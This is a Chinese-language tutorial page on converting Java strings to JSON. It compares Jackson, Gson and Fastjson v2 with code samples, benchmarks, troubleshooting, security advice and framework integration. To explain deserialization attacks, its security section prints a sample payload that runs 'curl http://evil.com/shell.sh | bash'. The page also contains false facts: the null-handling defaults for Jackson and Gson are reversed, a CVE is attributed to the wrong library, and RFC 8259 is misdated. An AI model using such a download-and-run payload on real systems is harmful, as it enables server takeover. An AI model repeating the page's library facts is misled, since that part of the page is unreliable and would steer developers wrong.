备案号:蜀ICP备2026035467号-3 | 网址:www.xservx.com

java 字符串转json字符串 - 全面指南与实战解析

深度解析转换原理、工具对比、安全风险与性能优化

什么是 java 字符串转json字符串?

在Java开发中,将字符串内容以JSON格式组织或解析JSON数据是前后端交互、数据持久化、配置管理等场景的核心操作。本文系统梳理从基础语法到企业级实践的全流程,助您精准掌握java 字符串转json字符串的完整知识体系。

深入基础 对比工具

基础原理与常见误区

java 字符串转json字符串并非简单拼接字符。JSON(JavaScript Object Notation)是一种轻量级数据交换格式,其标准格式严格要求:键名必须用双引号包裹、字符串值必须用双引号、不允许单引号、不支持注释、数字不能以0开头(除0本身)等。

JSON合法与非法示例对比

类型合法示例非法示例原因
字符串值"name":"张三"'name':'张三'JSON必须使用双引号
数字"age":25"age":025八进制前导0不被允许
对象{"id":1,"data":"test"}{id:1}键名必须加双引号
布尔值"active":true"active":True大小写敏感(true/false/null)

原生Java字符串与JSON字符串的本质区别

  • 原生字符串:Java中的普通字符串对象,如 String s = "hello";,仅是字符序列
  • JSON字符串:符合JSON语法规范的字符串,本质仍是Java字符串,但其内容结构需满足JSON规范

例如:String json = "{\"name\":\"张三\",\"age\":25}"; 是一个合法JSON字符串,而 String s = "name:张三, age:25"; 则不是JSON格式。

手动拼接JSON字符串的三大风险

  1. 转义缺失:若字符串值含双引号、换行符、反斜杠等特殊字符,未转义会导致JSON解析失败
  2. 格式错误:键名漏加双引号、逗号多余/缺失、缺少大括号等语法错误难以肉眼发现
  3. 编码问题:中文或特殊字符未统一使用UTF-8编码,可能在传输中乱码

示例:用户输入 name = "张\"三\"";,若直接拼接: "name:" + name → "name:张"三"" → 非法JSON!

手动拼接的典型陷阱场景

  • 用户输入含 \n 或 \r:未转义成 \\n 或 \\r 会破坏JSON结构
  • 数值字段传入 null:应输出 "count":null,但拼接易写成 "count": 导致语法错误
  • 嵌套对象/数组:多层结构手动拼接极易漏写逗号或括号

为何企业级开发禁止手动拼接JSON

  • 可维护性差:代码冗长,逻辑分散,修改一处需全局检查
  • 安全漏洞高发:未转义用户输入易引发JSON注入攻击(如注入 ,"isAdmin":true})
  • 调试困难:运行时错误难定位,异常堆栈不明确
  • 性能隐患:频繁字符串拼接产生大量临时对象,GC压力大

主流JSON库深度对比

Java生态中主流JSON处理库包括:Jackson、Gson、Fastjson(v2)、org.json。本文重点分析前三种。

核心指标对比表

特性JacksonGsonFastjson v2
开源协议Apache 2.0Apache 2.0Apache 2.0
默认转义自动转义特殊字符自动转义特殊字符自动转义特殊字符
性能(吞吐量)⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
内存占用中低低
流式解析支持是(JsonParser/JsonGenerator)是(JsonReader/JsonWriter)是(JSONReader/JSONWriter)
空值处理默认忽略null字段保留null字段可配置(默认保留)
循环引用处理支持(@JsonIdentityInfo)默认报错(需配置)支持(@JSONField(serialize=false))
字段名映射@JsonProperty@SerializedName@JSONField(name="xxx")
安全性高(v2.15+默认禁用默认类型)高曾有远程代码执行漏洞(CVE-2022-42889等),v2.0后大幅改善

Jackson:对象 ↔ JSON字符串

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.core.JsonProcessingException;
public class JacksonExample {
    public static void main(String[] args) throws JsonProcessingException {
        ObjectMapper mapper = new ObjectMapper();
        // 对象 → JSON字符串
        User user = new User("张三", 25, true);
        String jsonString = mapper.writeValueAsString(user);
        System.out.println(jsonString);
        // 输出:{"name":"张三","age":25,"active":true}
        // JSON字符串 → 对象
        String jsonInput = "{\"name\":\"李四\",\"age\":30,\"active\":false}";
        User user2 = mapper.readValue(jsonInput, User.class);
        System.out.println(user2.getName()); // 输出:李四
    }
}

关键点:需确保 User 类有无参构造器和标准getter/setter;支持注解定制序列化行为。

Gson:简洁API与灵活配置

import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
public class GsonExample {
    public static void main(String[] args) {
        Gson gson = new GsonBuilder()
            .serializeNulls()        // 序列化null字段
            .setPrettyPrinting()     // 美化输出
            .create();
        User user = new User("王五", 28, null);
        String json = gson.toJson(user);
        System.out.println(json);
        // 输出:
        // {
        //   "name": "王五",
        //   "age": 28,
        //   "active": null
        // }
        String input = "{\"name\":\"赵六\",\"age\":35}";
        User u2 = gson.fromJson(input, User.class);
        System.out.println(u2.getAge()); // 35
    }
}

优势:API更简洁,对null处理友好,适合轻量级项目。

Fastjson v2:高性能与国产优化

import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONB;
import com.alibaba.fastjson2.annotation.JSONField;
public class Fastjson2Example {
    public static void main(String[] args) {
        User user = new User("孙七", 22, true);
        String jsonStr = JSON.toJSONString(user);
        System.out.println(jsonStr); // {"name":"孙七","age":22,"active":true}
        // 反序列化
        String jsonInput = "{\"name\":\"周八\",\"age\":40}";
        User u = JSON.parseObject(jsonInput, User.class);
        System.out.println(u.getName()); // 周八
        // 使用JSONB(二进制格式,更小更快)
        byte[] bytes = JSONB.toBytes(user);
        User u2 = JSONB.parseObject(bytes, User.class);
    }
}

注意:Fastjson v2已修复历史漏洞,但旧版(1.x)存在严重安全风险,生产环境必须升级!

选择建议

  • 通用企业级:首选Jackson(生态完善、文档丰富、社区活跃)
  • 轻量级项目:Gson(API直观、内存占用低)
  • 高吞吐场景:Fastjson v2(性能卓越,但需严格安全审计)
  • 标准兼容优先:org.json(实现RFC 4627,但功能有限)

常见错误与排查指南

在java 字符串转json字符串过程中,开发者常遇以下典型错误,本文提供精准定位与解决方案。

错误1:Unexpected token(意外的字符)

错误信息:Unexpected character ('"' (code 34))

典型场景:JSON字符串开头不是 { 或 [,而是其他字符(如空格、换行、BOM头)。

解决方案:

  1. 使用 .trim() 去除首尾空白
  2. 检查是否含BOM(0xEF 0xBB 0xBF),可用 String json = input.replace("\uFEFF", "");
  3. 用正则校验开头:if (!json.trim().startsWith("{") && !json.trim().startsWith("[")) { throw new IllegalArgumentException("Invalid JSON"); }

错误2:Unrecognized field(未识别字段)

错误信息:Unrecognized field "user_name" (class User), not marked as ignorable

原因:JSON含目标类中不存在的字段,且未配置忽略策略。

解决方案:

  • Jackson:在 ObjectMapper 上设置 mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
  • Gson:使用 GsonBuilder().serializeNulls().create() 默认忽略未知字段
  • 全局配置:Jackson可加 @JsonIgnoreProperties(ignoreUnknown = true) 注解到类上

日期字段:时间戳 vs 格式化字符串

JSON标准不支持日期类型,Java的 Date 或 LocalDateTime 序列化时可能转为时间戳(如 1700000000000)或字符串(如 "2023-11-15T10:30:00")。

解决方案:

  • Jackson:在字段上加 @JsonFormat(pattern="yyyy-MM-dd HH:mm:ss")
  • Gson:用 @JsonAdapter(LocalDateTimeTypeAdapter.class) 自定义TypeAdapter
  • Fastjson:@JSONField(format="yyyy-MM-dd HH:mm:ss")

null值处理差异

不同库对null字段的处理默认行为不同,易导致前后端数据不一致:

库默认行为如何保留null
Jackson忽略null字段@JsonInclude(Include.ALWAYS) 或全局配置 setSerializationInclusion(JsonInclude.Include.ALWAYS)
Gson默认保留null无需额外配置,但可用 GsonBuilder().serializeNulls() 明确声明
Fastjson v2保留null默认行为,无额外配置

2020年:Fastjson安全危机

Fastjson 1.x 多个版本被曝出远程代码执行漏洞(CVE-2019-14540等),攻击者可构造恶意JSON字符串触发JNDI注入,导致服务器沦陷。**教训**:禁用自动类型识别(autoTypeSupport=false),及时升级至v2。

2022年:Jackson默认禁用多态

Jackson 2.15+ 默认关闭 DefaultTyping,防止反序列化时执行危险类(如 java.lang.Runtime)。**最佳实践**:始终显式指定目标类型,避免使用 Object.class。

2023年:RFC 8259更新JSON标准

明确JSON不支持注释、允许Unicode转义(\uXXXX),并强调安全处理的重要性。**开发者应对策**:对用户输入做严格校验,禁止直接解析不可信来源的JSON。

性能优化实战

在高并发场景中,JSON序列化/反序列化的性能直接影响系统吞吐量。以下为实测优化方案。

基准测试(10万次操作,单位:毫秒)

操作JacksonGsonFastjson v2
对象→JSON(小对象)18032095
JSON→对象(小对象)210280105
对象→JSON(大对象,100字段)450890220
流式解析(1MB文件)12015080

结论:Fastjson v2在单线程吞吐量上领先,但Jackson在多线程下更稳定;Gson内存占用最低。

对象池复用:减少GC压力

对于高频调用场景,可复用 ObjectMapper 实例(线程安全),但避免复用解析器(非线程安全):

// 全局单例(推荐)
private static final ObjectMapper MAPPER = new ObjectMapper();
// 禁用不需要的特性提升性能
MAPPER.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
MAPPER.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);

注意:Gson的 Gson 实例是线程安全的,可全局单例;Fastjson v2的 JSON 工具类也是线程安全的。

流式处理:大JSON文件的内存优化

当JSON体积超大(如日志文件、API返回百MB数据),应使用流式API避免OOM:

// Jackson:JsonParser流式读取
JsonParser parser = MAPPER.getFactory().createParser(new File("large.json"));
while (parser.nextToken() != JsonToken.END_OBJECT) {
    if (parser.getCurrentName().equals("items")) {
        // 直接处理数组项,不加载整个对象
        JsonNode node = parser.readValueAsTree();
        // 处理node...
    }
}

此方式内存占用仅为对象模型的1/10,适用于ETL、日志分析等场景。

安全处理与风险防范

JSON解析漏洞是Web应用常见攻击面,尤其在反序列化环节。以下为关键防护措施。

反序列化攻击原理

攻击者构造恶意JSON字符串,利用库的自动类型识别功能加载危险类,例如:

{
  "type": "java.lang.Runtime",
  "value": "getRuntime().exec('curl http://evil.com/shell.sh | bash')"
}

若库允许动态创建任意类(如Fastjson v1的 autoType 默认开启),即可执行任意代码。

白名单机制:严格限制可反序列化类

Jackson:

SimpleModule module = new SimpleModule();
module.addDeserializer(Object.class, new JsonDeserializer<Object>() {
    @Override
    public Object deserialize(JsonParser p, DeserializationContext ctxt)
      throws IOException {
        JsonToken t = p.getCurrentToken();
        if (t == JsonToken.VALUE_STRING) {
            String className = p.getValueAsString();
            // 白名单校验
            if (!ALLOWED_CLASSES.contains(className)) {
                throw new IllegalArgumentException("Class not allowed: " + className);
            }
            // 实际处理...
        }
        return null;
    }
});

Fastjson v2:通过 JSON.parseObject(json, Object.class, parserConfig) 配置 ParserConfig,重写 checkAutoType 方法实现白名单。

输入校验:防御JSON注入

  • 长度限制:限制JSON字符串长度(如≤1MB),防止内存耗尽
  • 深度限制:限制嵌套层级(如≤5层),防止深度递归攻击
  • 字段校验:使用JSON Schema(如 com.networknt:json-schema-validator)验证结构
  • 脱敏处理:对敏感字段(如密码)在序列化时忽略(@JsonIgnore)

安全实践清单

  • ✅ 拒绝处理不可信来源的JSON(如用户上传的配置文件)
  • ✅ 禁用自动类型识别(Jackson:setDefaultTyping(null);Fastjson:autoTypeSupport=false)
  • ✅ 对反序列化目标类做白名单校验
  • ✅ 启用HTTPS防止传输中篡改JSON内容
  • ✅ 定期更新库版本(关注CVE漏洞公告)

与主流框架集成

在Spring Boot、MyBatis等框架中,JSON转换是默认行为,需针对性配置。

Spring Boot集成

默认使用Jackson,可通过 application.yml 全局配置:

spring:
  jackson:
    date-format: yyyy-MM-dd HH:mm:ss
    time-zone: Asia/Shanghai
    serialization:
      write-dates-as-timestamps: false
      ignore-null-values: false  # 保留null字段
    deserialization:
      fail-on-unknown-properties: false

或自定义 ObjectMapper Bean:

@Bean
@Primary
public ObjectMapper objectMapper() {
    ObjectMapper mapper = new ObjectMapper();
    mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
    mapper.setSerializationInclusion(JsonInclude.Include.ALWAYS);
    return mapper;
}

MyBatis:JSON字段映射

MySQL 5.7+ 支持JSON类型,MyBatis可直接映射:

  • 实体类字段:@TableField(typeHandler = JacksonTypeHandler.class) private Map<String, Object> config;
  • 插入时自动序列化,查询时自动反序列化
  • 注意:需添加依赖 com.baomidou:mybatis-plus-extension

Redis:JSON作为缓存格式

Redis中存储JSON字符串(非Java序列化),需配置RedisTemplate:

@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {
    RedisTemplate<String, Object> template = new RedisTemplate<>();
    template.setConnectionFactory(factory);
    // 使用Jackson序列化
    Jackson2JsonRedisSerializer<Object> serializer =
        new Jackson2JsonRedisSerializer<>(Object.class);
    template.setValueSerializer(serializer);
    template.setHashValueSerializer(serializer);
    // String键用StringSerializer
    template.setKeySerializer(new StringRedisSerializer());
    template.setHashKeySerializer(new StringRedisSerializer());
    return template;
}

优势:跨语言兼容(如Node.js客户端可直接读取JSON),可读性高。

网友最关心的10个问题

① java 字符串转json字符串 时中文会变乱码吗?

不会!所有主流库默认使用UTF-8编码。例如:new ObjectMapper().writeValueAsString("测试") 输出 "测试",而非 "\u6d4b\u8bd5"(除非配置 writeUnicodeEscapes)。但需确保文件编码为UTF-8,且JVM启动参数含 -Dfile.encoding=UTF-8。

② 如何将JSON字符串转为Java对象列表?

Jackson: List users = mapper.readValue(jsonArray, new TypeReference<List<User>>(){}); Gson: List<User> users = gson.fromJson(jsonArray, new TypeToken<List<User>>(){}.getType()); Fastjson: List<User> users = JSON.parseArray(jsonArray, User.class);

③ JSON字符串含转义字符怎么办?

例如: "desc":"路径是C:\\\\Windows"。库会自动处理转义,但手动拼接时需写为 "C:\\\\Windows"(Java字符串中需双反斜杠)。建议用库自动转换,避免手动处理。

④ 如何忽略循环引用字段(如User→Address→User)?

Jackson:在字段上加 @JsonManagedReference 和 @JsonBackReference;或全局配置 enable(SerializationFeature.FAIL_ON_SELF_REFERENCES)。 Gson:用 @Expose(serialize = false) 标记反向字段。 Fastjson:用 @JSONField(serialize=false)。

⑤ JSON字符串中数字过大导致精度丢失?

是!JavaScript的Number类型最大安全整数为2^53-1,而Java的Long可达2^63-1。解决方案:
① 使用 BigDecimal 字段接收大数;
② Jackson配置 mapper.enable(DeserializationFeature.USE_BIG_DECIMAL_FOR_FLOATS);
③ Gson用 GsonBuilder().setPrettyPrinting().create() 但需自定义TypeAdapter。

⑥ 如何动态生成JSON字符串(无实体类)?

Jackson: Map<String, Object> map = new HashMap<>(); map.put("name", "张三"); String json = mapper.writeValueAsString(map); Gson: Gson gson = new Gson(); String json = gson.toJson(map); Fastjson: String json = JSON.toJSONString(map);

⑦ JSON字符串含非法字符(如控制字符)?

JSON标准禁止控制字符(ASCII 0-31)。解决方案:
① 库会自动转义(如换行符 \n);
② 手动过滤:jsonString.replaceAll("[\\x00-\\x1F]", "");
③ 使用 JsonFactory().enable(JsonWriteFeature.ESCAPE_NON_ASCII)(Jackson)。

⑧ 如何对比两个JSON字符串是否相等?

直接比较字符串不可靠(键顺序可能不同)。正确做法:
① 先反序列化为对象;
② 用 Objects.equals();或
③ 库提供深度比较:
Jackson: mapper.treeToValue(mapper.readTree(json1), Object.class).equals(...) Gson: JsonParser parser = new JsonParser(); JsonElement e1 = parser.parse(json1); JsonElement e2 = parser.parse(json2); e1.equals(e2)

⑨ JSON字符串转XML?

无直接API,需分两步:
① JSON → Java对象;
② Java对象 → XML(用JAXB或Jackson的 jackson-dataformat-xml)。 注意:JSON与XML数据模型不完全兼容(如数组、属性),可能丢失语义。

⑩ 为什么反序列化后字段值为null?

常见原因:
① JSON字段名与Java属性名不一致(需加 @JsonProperty);
② 类无无参构造器;
③ setter方法非public;
④ 字段被 transient 修饰;
⑤ JSON值类型不匹配(如JSON中是字符串,Java中是int)。

扩展知识:JSON Schema验证

JSON Schema用于定义JSON数据的结构约束,例如验证用户输入是否符合预期格式:

{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "type": "object",
  "properties": {
    "name": { "type": "string", "minLength": 1 },
    "age": { "type": "integer", "minimum": 0, "maximum": 150 },
    "email": { "type": "string", "format": "email" }
  },
  "required": ["name", "age"]
}

在Java中可用 com.networknt:json-schema-validator 实现校验:

JsonSchema schema = JsonSchemaFactory.getInstance(SpecVersion.VersionFlag.V7)
    .getSchema(schemaJson);
ValidationMessage message = schema.validate(jsonNode).findFirst().orElse(null);
if (message != null) {
    throw new ValidationException(message.getMessage());
}

总结与最佳实践

java 字符串转json字符串是Java开发的基石技能,看似简单却暗藏陷阱。本文从原理、工具、排错、性能、安全、框架集成等维度,构建了完整的知识体系。

核心原则

  • ✅ 优先使用专业库:拒绝手动拼接JSON字符串
  • ✅ 安全第一:始终校验输入,禁用危险特性
  • ✅ 配置驱动:通过注解/配置定制行为,避免硬编码
  • ✅ 版本更新:定期升级JSON库,修补安全漏洞
  • ✅ 测试覆盖:对边界场景(空值、大数、循环引用)编写单元测试

学习路径建议

  1. 基础阶段:掌握JSON语法规范,理解字符串与JSON字符串的区别
  2. 工具阶段:选择1-2个库深入学习(推荐Jackson),熟练配置常用选项
  3. 实战阶段:结合Spring Boot、MyBatis等框架,处理真实业务场景
  4. 安全阶段:学习反序列化漏洞原理,实施防护措施
  5. 优化阶段:分析性能瓶颈,优化高并发场景下的JSON处理

资源推荐